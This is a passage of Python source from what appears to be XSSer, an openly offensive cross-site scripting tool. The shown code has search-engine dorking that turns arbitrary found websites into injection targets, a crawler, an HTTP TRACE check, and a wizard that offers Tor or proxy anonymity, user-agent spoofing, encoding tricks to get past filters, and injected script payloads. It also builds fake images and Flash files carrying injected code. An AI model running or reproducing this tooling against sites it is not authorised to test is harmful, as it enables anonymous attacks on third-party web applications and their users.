  1952. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1953. hashed_payload = hashed_payload.replace(";", "%3B")
  1954. if str(hashed_payload) in str(dest_url):
  1955. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1956. else:
  1957. if str(key) in str(dest_url):
  1958. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1959. else:
  1960. if key in current_hashes:
  1961. if method == "xsa":
  1962. self.add_failure(dest_url, payload, key, query_string, orig_url, "XSA") # failed!
  1963. elif method == "xsr":
  1964. self.add_failure(dest_url, payload, key, query_string, orig_url, "XSR") # failed!
  1965. elif method == "coo":
  1966. self.add_failure(dest_url, payload, key, query_string, orig_url, "COO") # failed!
  1967. self.report("\n" +"="*45)
  1968. if str(curl_handle.info()["http-code"]) == "404":
  1969. self.report("\n[Error] 404 Not Found: The server has not found anything matching the Request-URI\n")
  1970. elif str(curl_handle.info()["http-code"]) == "403":
  1971. self.report("\n[Error] 403 Forbidden: The server understood the request, but is refusing to fulfill it\n")
  1972. elif str(curl_handle.info()["http-code"]) == "400":
  1973. self.report("\n[Error] 400 Bad Request: The request could not be understood by the server due to malformed syntax\n")
  1974. elif str(curl_handle.info()["http-code"]) == "401":
  1975. self.report("\n[Error] 401 Unauthorized: The request requires user authentication\n\nIf you are trying to authenticate: Login is failing!\n\ncheck:\n- authentication type is correct for the type of realm (basic, digest, gss, ntlm...)\n- credentials 'user:password' are typed correctly\n")
  1976. elif str(curl_handle.info()["http-code"]) == "407":
  1977. self.report("\n[Error] 407 Proxy Authentication Required: XSSer must first authenticate itself with the proxy\n")
  1978. elif str(curl_handle.info()["http-code"]) == "408":
  1979. self.report("\n[Error] 408 Request Timeout: XSSer did not produce a request within the time that the server was prepared to wait\n")
  1980. elif str(curl_handle.info()["http-code"]) == "500":
  1981. self.report("\n[Error] 500 Internal Server Error: The server encountered an unexpected condition which prevented it from fulfilling the request\n")
  1982. elif str(curl_handle.info()["http-code"]) == "501":
  1983. self.report("\n[Error] 501 Not Implemented: The server does not support the functionality required to fulfill the request\n")
  1984. elif str(curl_handle.info()["http-code"]) == "502":
  1985. self.report("\n[Error] 502 Bad Gateway: The server received an invalid response from the upstream server\n")
  1986. elif str(curl_handle.info()["http-code"]) == "503":
  1987. self.report("\n[Error] 503 Service Unavailable: The server is currently unable to handle the request [OFFLINE!]\n")
  1988. elif str(curl_handle.info()["http-code"]) == "504":
  1989. self.report("\n[Error] 504 Gateway Timeout: The server did not receive a timely response specified by the URI (try: --ignore-proxy)\n")
  1990. elif str(curl_handle.info()["http-code"]) == "0":
  1991. self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
  1992. else:
  1993. self.report("\n[Error] Not injected!. Server responses with http-code different to: 200 OK (" + str(curl_handle.info()["http-code"]) + ")\n")
  1994. if str(curl_handle.info()["http-code"]) == "404":
  1995. self.not_connection = self.not_connection + 1
  1996. elif str(curl_handle.info()["http-code"]) == "503":
  1997. self.forwarded_connection = self.forwarded_connection + 1
  1998. else:
  1999. self.other_connection = self.other_connection + 1
  2000. def check_positive(self, curl_handle, dest_url, payload, query_string):
  2001. """
  2002. Perform extra check for positives
  2003. """
  2004. body = curl_handle.body()
  2005. pass
  2006. def create_options(self, args=None):
  2007. """
  2008. Create options for OptionParser.
  2009. """
  2010. self.optionParser = XSSerOptions()
  2011. self.options = self.optionParser.get_options(args)
  2012. if not self.options:
  2013. return False
  2014. return self.options
  2015. def _get_attack_urls(self):
  2016. """
  2017. Process payload options and make up the payload list for the attack.
  2018. """
  2019. urls = []
  2020. options = self.options
  2021. p = self.optionParser
  2022. if options.imx:
  2023. self.create_fake_image(options.imx, options.script)
  2024. return []
  2025. if options.flash:
  2026. self.create_fake_flash(options.flash, options.script)
  2027. return []
  2028. if options.update:
  2029. self.report('='*75)
  2030. self.report(str(p.version))
  2031. self.report('='*75)
  2032. try:
  2033. print("\nTrying to update to the latest stable version...\n")
  2034. Updater()
  2035. except:
  2036. print("Not any .git repository found!\n")
  2037. print("="*30)
  2038. print("\nTo have working this feature, you should clone XSSer with:\n")
  2039. print("$ git clone https://code.03c8.net/epsylon/xsser\n")
  2040. print("\nAlso you can try this other mirror:\n")
  2041. print("$ git clone https://github.com/epsylon/xsser\n")
  2042. return []
  2043. if options.wizard: # processing wizard template
  2044. if self.user_template is not None:
  2045. self.options.statistics = True # detailed output
  2046. if self.user_template[0] == "DORKING": # mass-dorking
  2047. self.options.dork_file = True
  2048. self.options.dork_mass = True
  2049. elif "http" in self.user_template[0]: # from target url
  2050. self.options.url = self.user_template[0]
  2051. else: # from file
  2052. self.options.readfile = self.user_template[0]
  2053. if self.user_template[1] == "CRAWLER": # crawlering target
  2054. self.options.crawling = "10"
  2055. else: # manual payload (GET or POST)
  2056. if self.user_template_conntype == "GET":
  2057. self.options.getdata = self.user_template[1]
  2058. else:
  2059. self.options.postdata = self.user_template[1]
  2060. if self.user_template[2] == "Proxy: No - Spoofing: Yes":
  2061. self.options.ignoreproxy = True
  2062. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  2063. self.options.referer = "127.0.0.1" # spoof referer
  2064. elif self.user_template[2] == "Proxy: No - Spoofing: No":
  2065. self.options.ignoreproxy = True
  2066. else: # using proxy + spoofing
  2067. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  2068. self.options.referer = "127.0.0.1" # spoof referer
  2069. if self.user_template[2] is not None:
  2070. self.options.proxy = self.user_template[2]
  2071. else:
  2072. self.options.ignoreproxy = True
  2073. if self.user_template[3] == "Not using encoders":
  2074. pass
  2075. elif self.user_template[3] == "Hex": # Hexadecimal
  2076. self.options.Hex = True
  2077. elif self.user_template[3] == "Str+Une": # StringFromCharCode()+Unescape()
  2078. self.options.Str = True
  2079. self.options.Une = True
  2080. else: # Character encoding mutations
  2081. self.options.Cem = self.user_template[3]
  2082. if self.user_template[4] == "Alertbox": # Classic AlertBox injection
  2083. self.options.finalpayload = "<script>alert('XSS');</script>"
  2084. else:
  2085. if self.user_template[4] is not None: # Inject user script
  2086. self.options.finalpayload = self.user_template[4]
  2087. else: # not final injection
  2088. pass
  2089. else: # exit
  2090. return
  2091. if options.target: # miau!
  2092. self.report('='*75)
  2093. self.report(str(p.version))
  2094. self.report('='*75)
  2095. self.report("Testing [Full XSS audit]... ;-)")
  2096. self.report('='*75)
  2097. self.report("\n[Info] The following actions will be performed at the end:\n")
  2098. self.report(" 1- Output with detailed statistics\n")
  2099. self.report(" 2- Export results to files: \n\n - a) XSSreport.raw \n - b) XSSer_<target>_<datetime>.xml\n")
  2100. self.options.crawling = "99999" # set max num of urls to crawl
  2101. self.options.crawler_width = "5" # set max num of deeping levels
  2102. self.options.statistics = True # detailed output
  2103. self.options.timeout = "60" # timeout
  2104. self.options.retries = "2" # retries
  2105. self.options.delay = "5" # delay
  2106. self.options.threads = "10" # threads
  2107. self.options.followred = True # follow redirs
  2108. self.options.nohead = False # HEAD check
  2109. self.options.reversecheck = True # try to establish a reverse connection
  2110. self.options.fuzz = True # autofuzzing
  2111. self.options.coo = True # COO
  2112. self.options.xsa = True # XSA
  2113. self.options.xsr = True # XSR
  2114. self.options.dcp = True # DCP
  2115. self.options.dom = True # DOM
  2116. self.options.inducedcode = True # Induced
  2117. self.options.fileoutput = True # Important: export results to file (.raw)
  2118. self.options.filexml = "XSSer_" + str(self.options.target) + "_" + str(datetime.datetime.now())+".xml" # export xml
  2119. self.check_trace() # XST
  2120. urls = [options.target]
  2121. if options.url:
  2122. self.report('='*75)
  2123. self.report(str(p.version))
  2124. self.report('='*75)
  2125. if self.options.crawling:
  2126. self.report("Testing [XSS from CRAWLER]...")
  2127. else:
  2128. self.report("Testing [XSS from URL]...")
  2129. self.report('='*75)
  2130. urls = [options.url]
  2131. elif options.readfile:
  2132. self.report('='*75)
  2133. self.report(str(p.version))
  2134. self.report('='*75)
  2135. self.report("Testing [XSS from FILE]...")
  2136. self.report('='*75)
  2137. try:
  2138. f = open(options.readfile)
  2139. urls = f.readlines()
  2140. urls = [ line.replace('\n','') for line in urls ]
  2141. f.close()
  2142. except:
  2143. import os.path
  2144. if os.path.exists(options.readfile) == True:
  2145. self.report('\nThere are some errors opening the file: ', options.readfile, "\n")
  2146. else:
  2147. self.report('\nCannot found file: ', options.readfile, "\n")
  2148. elif options.dork: # dork a query
  2149. self.report('='*75)
  2150. self.report(str(p.version))
  2151. self.report('='*75)
  2152. self.report("Testing [XSS from DORK]... Good luck! ;-)")
  2153. self.report('='*75)
  2154. if options.dork_mass: # massive dorkering
  2155. for e in self.search_engines:
  2156. try:
  2157. dorker = Dorker(e)
  2158. urls = dorker.dork(options.dork)
  2159. i = 0
  2160. for u in urls: # replace original parameter for injection keyword (XSS)
  2161. p_uri = urlparse(u)
  2162. uri = p_uri.netloc
  2163. path = p_uri.path
  2164. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2165. for key, value in target_params.items(): # parse params to apply keywords
  2166. for v in value:
  2167. target_params[key] = 'XSS'
  2168. target_url_params = urllib.parse.urlencode(target_params)
  2169. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2170. urls[i] = u
  2171. i = i + 1
  2172. except Exception as e:
  2173. for reporter in self._reporters:
  2174. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2175. else:
  2176. if urls is not None:
  2177. for url in urls:
  2178. for reporter in self._reporters:
  2179. reporter.add_link(dorker.search_url, url)
  2180. else:
  2181. if not options.dork_engine:
  2182. options.dork_engine = 'duck' # default search engine [26-08/2019]
  2183. dorker = Dorker(options.dork_engine)
  2184. try:
  2185. urls = dorker.dork(options.dork)
  2186. i = 0
  2187. for u in urls: # replace original parameter for injection keyword (XSS)
  2188. p_uri = urlparse(u)
  2189. uri = p_uri.netloc
  2190. path = p_uri.path
  2191. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2192. for key, value in target_params.items(): # parse params to apply keywords
  2193. for v in value:
  2194. target_params[key] = 'XSS'
  2195. target_url_params = urllib.parse.urlencode(target_params)
  2196. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2197. urls[i] = u
  2198. i = i + 1
  2199. except Exception as e:
  2200. for reporter in self._reporters:
  2201. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2202. else:
  2203. if urls is not None:
  2204. for url in urls:
  2205. for reporter in self._reporters:
  2206. reporter.add_link(dorker.search_url, url)
  2207. elif options.dork_file: # dork from file ('core/fuzzing/dorks.txt')
  2208. self.report('='*75)
  2209. self.report(str(p.version))
  2210. self.report('='*75)
  2211. self.report("Testing [XSS from DORK]... Good luck! ;-)")
  2212. self.report('='*75)
  2213. try:
  2214. f = open('core/fuzzing/dorks.txt')
  2215. dorks = f.readlines()
  2216. dorks = [ dork.replace('\n','') for dork in dorks ]
  2217. f.close()
  2218. if not dorks:
  2219. print("\n[Error] - Imposible to retrieve 'dorks' from file.\n")
  2220. return
  2221. except:
  2222. if os.path.exists('core/fuzzing/dorks.txt') == True:
  2223. print('[Error] - Cannot open:', 'dorks.txt', "\n")
  2224. return
  2225. else:
  2226. print('[Error] - Cannot found:', 'dorks.txt', "\n")
  2227. return
  2228. if not options.dork_engine:
  2229. options.dork_engine = 'duck' # default search engine [26-08/2019]
  2230. if options.dork_mass: # massive dorkering
  2231. for e in self.search_engines:
  2232. try:
  2233. dorker = Dorker(e)
  2234. for dork in dorks:
  2235. urls = dorker.dork(dork)
  2236. i = 0
  2237. for u in urls: # replace original parameter for injection keyword (XSS)
  2238. p_uri = urlparse(u)
  2239. uri = p_uri.netloc
  2240. path = p_uri.path
  2241. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2242. for key, value in target_params.items(): # parse params to apply keywords
  2243. for v in value:
  2244. target_params[key] = 'XSS'
  2245. target_url_params = urllib.parse.urlencode(target_params)
  2246. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2247. urls[i] = u
  2248. i = i + 1
  2249. except Exception as e:
  2250. for reporter in self._reporters:
  2251. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2252. else:
  2253. if urls is not None:
  2254. for url in urls:
  2255. for reporter in self._reporters:
  2256. reporter.add_link(dorker.search_url, url)
  2257. else:
  2258. dorker = Dorker(options.dork_engine)
  2259. try:
  2260. for dork in dorks:
  2261. urls = dorker.dork(dork)
  2262. i = 0
  2263. for u in urls: # replace original parameter for injection keyword (XSS)
  2264. p_uri = urlparse(u)
  2265. uri = p_uri.netloc
  2266. path = p_uri.path
  2267. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2268. for key, value in target_params.items(): # parse params to apply keywords
  2269. for v in value:
  2270. target_params[key] = 'XSS'
  2271. target_url_params = urllib.parse.urlencode(target_params)
  2272. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2273. urls[i] = u
  2274. i = i + 1
  2275. except Exception as e:
  2276. for reporter in self._reporters:
  2277. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2278. else:
  2279. if urls is not None:
  2280. for url in urls:
  2281. for reporter in self._reporters:
  2282. reporter.add_link(dorker.search_url, url)
  2283. if options.crawling: # crawlering target(s)
  2284. nthreads = options.threads
  2285. self.crawled_urls = list(urls)
  2286. all_crawled = []
  2287. try:
  2288. self.options.crawling = int(self.options.crawling)
  2289. except:
  2290. self.options.crawling = 50
  2291. if self.options.crawler_width == None:
  2292. self.options.crawler_width = 2 # default crawlering-width
  2293. else:
  2294. try:
  2295. self.options.crawler_width = int(self.options.crawler_width)
  2296. except:
  2297. self.options.crawler_width = 2 # default crawlering-width
  2298. if self.options.crawler_local == None:
  2299. self.options.crawler_local = False # default crawlering to LOCAL
  2300. for url in set(urls):
  2301. self.report("\n[Info] Crawlering TARGET:", url, "\n\n - Max. limit: "+ str(self.options.crawling)+ " \n - Deep level: "+ str(options.crawler_width))
  2302. crawler = Crawler(self, Curl, all_crawled,
  2303. self.pool)
  2304. crawler.set_reporter(self)
  2305. # now wait for all results to arrive
  2306. while urls:
  2307. self.run_crawl(crawler, urls.pop(), options)
  2308. while not self._landing:
  2309. for reporter in self._reporters:
  2310. reporter.report_state('broad scanning')
  2311. try:
  2312. self.pool.poll()
  2313. except NoResultsPending:
  2314. crawler.cancel()
  2315. break
  2316. if len(self.crawled_urls) >= int(options.crawling) or not crawler._requests:
  2317. self.report("\n[Info] Found enough results... calling all mosquitoes to home!")
  2318. crawler.cancel()
  2319. break
  2320. time.sleep(0.1)
  2321. # re-parse crawled urls from main
  2322. parsed_crawled_urls = []
  2323. for u in self.crawled_urls:
  2324. if "XSS" in u:
  2325. parsed_crawled_urls.append(u)
  2326. else:
  2327. pass
  2328. self.crawled_urls = parsed_crawled_urls
  2329. # report parsed crawled urls
  2330. self.report("\n" + "-"*25)
  2331. self.report("\n[Info] Mosquitoes have found: [ " + str(len(self.crawled_urls)) + " ] possible attacking vector(s)")
  2332. if self.options.verbose:
  2333. self.report("")
  2334. for u in self.crawled_urls:
  2335. if '/XSS' in u:
  2336. u = u.replace("/XSS", "")
  2337. print(" - " + str(u))
  2338. if len(self.crawled_urls) > 0:
  2339. self.report("")
  2340. else:
  2341. self.report("-"*25)
  2342. self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
  2343. return self.crawled_urls
  2344. if not options.imx or not options.flash or not options.xsser_gtk or not options.update:
  2345. return urls
  2346. def run_crawl(self, crawler, url, options):
  2347. def _cb(request, result):
  2348. pass
  2349. def _error_cb(request, error):
  2350. for reporter in self._reporters:
  2351. reporter.mosquito_crashed(url, str(error[0]))
  2352. if DEBUG == True:
  2353. traceback.print_tb(error[2])
  2354. def crawler_main(args):
  2355. return crawler.crawl(*args)
  2356. crawler.crawl(url, int(options.crawler_width),
  2357. int(options.crawling),options.crawler_local)
  2358. def poll_workers(self):
  2359. try:
  2360. self.pool.poll()
  2361. except NoResultsPending:
  2362. pass
  2363. def try_running(self, func, error, args=[]):
  2364. """
  2365. Try running a function and print some error if it fails and exists with
  2366. a fatal error.
  2367. """
  2368. try:
  2369. return func(*args)
  2370. except Exception as e:
  2371. self.report(error)
  2372. if DEBUG == True:
  2373. traceback.print_exc()
  2374. def check_trace(self):
  2375. """
  2376. Check for Cross Site Tracing (XST) vulnerability:
  2377. 1) check HTTP TRACE method enabled (add 'Max-Forwards: 0' to curl command to bypass some 'Anti-antixst' web proxy rules)
  2378. 2) check data sent on reply
  2379. """
  2380. agents = [] # user-agents
  2381. try:
  2382. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2383. except:
  2384. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2385. for line in f:
  2386. agents.append(line)
  2387. agent = random.choice(agents).strip() # set random user-agent
  2388. referer = '127.0.0.1'
  2389. import subprocess, shlex
  2390. self.report('='*75)
  2391. self.report("\n[Info] Trying method: Cross Site Tracing (XST)\n")
  2392. if self.options.xst:
  2393. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.xst), stdout=subprocess.PIPE)
  2394. if self.options.target:
  2395. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.target), stdout=subprocess.PIPE)
  2396. line1 = xst.stdout.readline()
  2397. if self.options.verbose:
  2398. print("-"*25 + "\n")
  2399. while True:
  2400. line = xst.stdout.readline()
  2401. if line != '':
  2402. print(line.rstrip())
  2403. else:
  2404. break
  2405. self.report("")
  2406. self.report('-'*50+"\n")
  2407. if "200 OK" in line1.rstrip():
  2408. print("[Info] Target is vulnerable to XST! (Cross Site Tracing) ;-)\n")
  2409. else:
  2410. print("[Info] Target is NOT vulnerable to XST (Cross Site Tracing) ;-(\n")
  2411. if self.options.target:
  2412. self.report('='*75)
  2413. def start_wizard(self):
  2414. """
  2415. Start Wizard Helper
  2416. """
  2417. #step 0: Menu
  2418. ans1=True
  2419. ans2=True
  2420. ans3=True
  2421. ans4=True
  2422. ans5=True
  2423. ans6=True
  2424. #step 1: Where
  2425. while ans1:
  2426. print("""\nA)- Where are your targets?\n
  2427. [1]- I want to enter the url of my target directly.
  2428. [2]- I want to enter a list of targets from a .txt file.
  2429. *[3]- I don't know where are my target(s)... I just want to explore! :-)
  2430. [e]- Exit/Quit/Abort.
  2431. """)
  2432. ans1 = input("Your choice: [1], [2], [3] or [e]xit\n")
  2433. if ans1 == "1": # from url
  2434. url = input("Target url (ex: http(s)://target.com): ")
  2435. if url.startswith("http"):
  2436. ans1 = None
  2437. else:
  2438. print("\n[Error] Your url is not valid!. Try again!")
  2439. pass
  2440. elif ans1 == "2": # from file
  2441. url = input("Path to file (ex: 'targets_list.txt'): ")
  2442. if url == None:
  2443. print("\n[Error] Your are not providing a valid file. Try again!")
  2444. pass
  2445. else:
  2446. ans1 = None
  2447. elif ans1 == "3": # dorking
  2448. url = "DORKING"
  2449. ans1 = None
  2450. elif (ans1 == "e" or ans1 == "E"):
  2451. print("Closing wizard...")
  2452. ans1=None
  2453. ans2=None
  2454. ans3=None
  2455. ans4=None
  2456. ans5=None
  2457. ans6=None
  2458. else:
  2459. print("\nNot valid choice. Try again!")
  2460. #step 2: How
  2461. while ans2:
  2462. print(22*"-")
  2463. print("""\nB)- How do you want to connect?\n
  2464. [1]- I want to connect using GET and select some possible vulnerable parameter(s) directly.
  2465. [2]- I want to connect using POST and select some possible vulnerable parameter(s) directly.
  2466. [3]- I want to "crawl" all the links of my target(s) to found as much vulnerabilities as possible.
  2467. *[4]- I don't know how to connect... Just do it! :-)
  2468. [e]- Exit/Quit/Abort.
  2469. """)
  2470. ans2 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  2471. if ans2 == "1": # using GET
  2472. payload = input("GET payload (ex: '/menu.php?q='): ")
  2473. if payload == None:
  2474. print("\n[Error] Your are providing an empty payload. Try again!")
  2475. pass
  2476. else:
  2477. self.user_template_conntype = "GET"
  2478. ans2 = None
  2479. elif ans2 == "2": # using POST
  2480. payload = input("POST payload (ex: 'foo=1&bar='): ")
  2481. if payload == None:
  2482. print("\n[Error] Your are providing an empty payload. Try again!")
  2483. pass
  2484. else:
  2485. self.user_template_conntype = "POST"
  2486. ans2 = None
  2487. elif ans2 == "3": # crawlering
  2488. payload = "CRAWLER"
  2489. ans2 = None
  2490. elif ans2 == "4": # crawlering
  2491. payload = "CRAWLER"
  2492. ans2 = None
  2493. elif (ans2 == "e" or ans2 == "E"):
  2494. print("Closing wizard...")
  2495. ans2=None
  2496. ans3=None
  2497. ans4=None
  2498. ans5=None
  2499. ans6=None
  2500. else:
  2501. print("\nNot valid choice. Try again!")
  2502. #step 3: Proxy
  2503. while ans3:
  2504. print(22*"-")
  2505. print("""\nC)- Do you want to be 'anonymous'?\n
  2506. [1]- Yes. I want to use my proxy and apply automatic spoofing methods.
  2507. [2]- Anonymous?. Yes!!!. I have a TOR proxy ready at: http://127.0.0.1:8118.
  2508. *[3]- Yes. But I haven't any proxy. :-)
  2509. [4]- No. It's not a problem for me to connect directly to the target(s).
  2510. [e]- Exit/Quit.
  2511. """)
  2512. ans3 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  2513. if ans3 == "1": # using PROXY + spoofing
  2514. proxy = input("Enter proxy [http(s)://server:port]: ")
  2515. ans3 = None
  2516. elif ans3 == "2": # using TOR + spoofing
  2517. proxy = 'Using TOR (default: http://127.0.0.1:8118)'
  2518. proxy = 'http://127.0.0.1:8118'
  2519. ans3 = None
  2520. elif ans3 == "3": # only spoofing
  2521. proxy = 'Proxy: No - Spoofing: Yes'
  2522. ans3 = None
  2523. elif ans3 == "4": # no spoofing
  2524. proxy = 'Proxy: No - Spoofing: No'
  2525. ans3 = None
  2526. elif (ans3 == "e" or ans3 == "E"):
  2527. print("Closing wizard...")
  2528. ans3=None
  2529. ans4=None
  2530. ans5=None
  2531. ans6=None
  2532. else:
  2533. print("\nNot valid choice. Try again!")
  2534. #step 4: Bypasser(s)
  2535. while ans4:
  2536. print(22*"-")
  2537. print("""\nD)- Which 'bypasser(s' do you want to use?\n
  2538. [1]- I want to inject XSS scripts without any encoding.
  2539. [2]- Try to inject code using 'Hexadecimal'.
  2540. [3]- Try to inject code mixing 'String.FromCharCode()' and 'Unescape()'.
  2541. [4]- I want to inject using 'Character Encoding Mutations' (Une+Str+Hex).
  2542. *[5]- I don't know exactly what is a 'bypasser'... But I want to inject code! :-)
  2543. [e]- Exit/Quit.
  2544. """)
  2545. ans4 = input("Your choice: [1], [2], [3], [4], [5] or [e]xit\n")
  2546. if ans4 == "1": # no encode
  2547. enc = "Not using encoders"
  2548. ans4 = None
  2549. elif ans4 == "2": # enc: Hex
  2550. enc = 'Hex'
  2551. ans4 = None
  2552. elif ans4 == "3": # enc: Str+Une
  2553. enc = 'Str+Une'
  2554. ans4 = None
  2555. elif ans4 == "4": # enc: Mix: Une+Str+Hex
  2556. enc = "Une,Str,Hex"
  2557. ans4 = None
  2558. elif ans4 == "5": # enc: no encode
  2559. enc = 'Not using encoders'
  2560. ans4 = None
  2561. elif (ans4 == "e" or ans4 == "E"):
  2562. print("Closing wizard...")
  2563. ans4=None
  2564. ans5=None
  2565. ans6=None
  2566. else:
  2567. print("\nNot valid choice. Try again!")
  2568. #step 5: Exploiting
  2569. while ans5:
  2570. print(22*"-")
  2571. print("""\nE)- Which final code do you want to 'exploit' on vulnerabilities found?\n
  2572. [1]- I want to inject a classic "Alert" message box.
  2573. [2]- I want to inject my own scripts.
  2574. *[3]- I don't want to inject a final code... I just want to discover vulnerabilities! :-)
  2575. [e]- Exit/Quit.
  2576. """)
  2577. ans5 = input("Your choice: [1], [2], [3] or [e]xit\n")
  2578. if ans5 == "1": # alertbox
  2579. script = 'Alertbox'
  2580. ans5 = None
  2581. elif ans5 == "2": # manual
  2582. script = input("Enter code (ex: '><script>alert('XSS');</script>): ")
  2583. if script == None:
  2584. print("\n[Error] Your are providing an empty script to inject. Try again!")
  2585. pass
  2586. else:
  2587. ans5 = None
  2588. elif ans5 == "3": # no exploit
  2589. script = 'Not exploiting code'
  2590. ans5 = None
  2591. elif (ans5 == "e" or ans5 == "E"):
  2592. print("Closing wizard...")
  2593. ans5=None
  2594. ans6=None
  2595. else:
  2596. print("\nNot valid choice. Try again!")
  2597. #step 6: Final
  2598. while ans6:
  2599. print(22*"-")
  2600. print("\nVery nice!. That's all. Your last step is to -accept or not- this template.\n")
  2601. print("A)- Target:", url)
  2602. print("B)- Payload:", payload)
  2603. print("C)- Privacy:", proxy)
  2604. print("D)- Bypasser(s):", enc)
  2605. print("E)- Final:", script)
  2606. print("""
  2607. [Y]- Yes. Accept it and start testing!.
  2608. [N]- No. Abort it?.
  2609. """)
  2610. ans6 = input("Your choice: [Y] or [N]\n")
  2611. if (ans6 == "y" or ans6 == "Y"): # YES
  2612. start = 'YES'
  2613. print('Good fly... and happy "Cross" hacking !!! :-)\n')
  2614. ans6 = None
  2615. elif (ans6 == "n" or ans6 == "N"): # NO
  2616. start = 'NO'
  2617. print("Aborted!. Closing wizard...")
  2618. ans6 = None
  2619. else:
  2620. print("\nNot valid choice. Try again!")
  2621. if url and payload and proxy and enc and script:
  2622. return url, payload, proxy, enc, script
  2623. else:
  2624. return
  2625. def create_fake_image(self, filename, payload):
  2626. """
  2627. Create -fake- image with code injected
  2628. """
  2629. options = self.options
  2630. filename = options.imx
  2631. payload = options.script
  2632. image_xss_injections = ImageInjections()
  2633. image_injections = image_xss_injections.image_xss(options.imx , options.script)
  2634. return image_injections
  2635. def create_fake_flash(self, filename, payload):
  2636. """
  2637. Create -fake- flash movie (.swf) with code injected
  2638. """
  2639. options = self.options
  2640. filename = options.flash
  2641. payload = options.script
  2642. flash_xss_injections = FlashInjections()
  2643. flash_injections = flash_xss_injections.flash_xss(options.flash, options.script)
  2644. return flash_injections
  2645. def create_gtk_interface(self):
  2646. """
  2647. Create GTK Interface
  2648. """
  2649. options = self.options
  2650. from core.gtkcontroller import Controller, reactor
  2651. uifile = "xsser.ui"
  2652. controller = Controller(uifile, self)
  2653. self._reporters.append(controller)
  2654. if reactor:
  2655. reactor.run()
  2656. else:
  2657. from gi.repository import Gtk
  2658. Gtk.main()
  2659. return controller
  2660. def run(self, opts=None):
  2661. """
  2662. Run xsser.
  2663. """
  2664. self.token_arrived_flag = False # used for --reverse-check
  2665. self.success_arrived_flag = False # used for --reverse-check
  2666. self.token_arrived_hash = None # used for --reverse-check
  2667. self.token_arrived_hashes = [] # used for --reverse-check
  2668. for reporter in self._reporters:
  2669. reporter.start_attack()
  2670. if opts:
  2671. options = self.create_options(opts)
  2672. self.set_options(options)
  2673. if not self.hub:
  2674. self.hub = HubThread(self)
  2675. self.hub.start()
  2676. options = self.options
  2677. if options:
  2678. if self.options.hash is True: # not fuzzing/heuristic when hash precheck
  2679. self.options.fuzz = False
  2680. self.options.script = False
  2681. self.options.coo = False
  2682. self.options.xsa = False
  2683. self.options.xsr = False
  2684. self.options.dcp = False
  2685. self.options.dom = False
  2686. self.options.inducedcode = False
  2687. self.options.heuristic = False
  2688. if self.options.heuristic: # not fuzzing/hash when heuristic precheck
  2689. self.options.fuzz = False
  2690. self.options.script = False
  2691. self.options.coo = False
  2692. self.options.xsa = False
  2693. self.options.xsr = False
  2694. self.options.dcp = False
  2695. self.options.dom = False
  2696. self.options.inducedcode = False
  2697. self.options.hash = False
  2698. if self.options.Cem: # parse input at CEM for blank spaces
  2699. self.options.Cem = self.options.Cem.replace(" ","")
  2700. else:
  2701. pass
  2702. try:
  2703. if self.options.imx: # create -fake- image with code injected
  2704. p = self.optionParser
  2705. self.report('='*75)
  2706. self.report(str(p.version))
  2707. self.report('='*75)
  2708. self.report("[Image XSS Builder]...")
  2709. self.report('='*75)
  2710. self.report(''.join(self.create_fake_image(self.options.imx, self.options.script)))
  2711. self.report('='*75 + "\n")
  2712. except:
  2713. return
  2714. if options.flash: # create -fake- flash movie (.swf) with code injected
  2715. p = self.optionParser
  2716. self.report('='*75)
  2717. self.report(str(p.version))
  2718. self.report('='*75)
  2719. self.report("[Flash Attack! XSS Builder]...")
  2720. self.report('='*75)
  2721. self.report(''.join(self.create_fake_flash(self.options.flash, self.options.script)))
  2722. self.report('='*75 + "\n")
  2723. if options.xsser_gtk:
  2724. self.create_gtk_interface()
  2725. return
  2726. if self.options.wizard: # start a wizard helper
  2727. p = self.optionParser
  2728. self.report('='*75)
  2729. self.report(str(p.version))
  2730. self.report('='*75)
  2731. self.report("[Wizard] Generating XSS attack...")
  2732. self.report('='*75)
  2733. self.user_template = self.start_wizard()
  2734. if self.options.xst: # check for cross site tracing
  2735. p = self.optionParser
  2736. if not self.options.target:
  2737. self.report('='*75)
  2738. self.report(str(p.version))
  2739. self.report('='*75)
  2740. self.report("[XST Attack!] checking for HTTP TRACE method ...")
  2741. self.report('='*75)
  2742. self.check_trace()
  2743. if self.options.reversecheck or self.options.dom: # generate headless embed web browser
  2744. self.driver = self.create_headless_embed_browser()
  2745. if options.checktor:
  2746. url = self.check_tor_url # TOR status checking site
  2747. print('='*75)
  2748. print("")
  2749. print(" _ ")
  2750. print(" /_/_ .'''. ")
  2751. print(" =O(_)))) ...' `. ")
  2752. print(" \_\ `. .'''")
  2753. print(" `..' ")
  2754. print("")
  2755. print('='*75)
  2756. agents = [] # user-agents
  2757. try:
  2758. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2759. except:
  2760. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2761. for line in f:
  2762. agents.append(line)
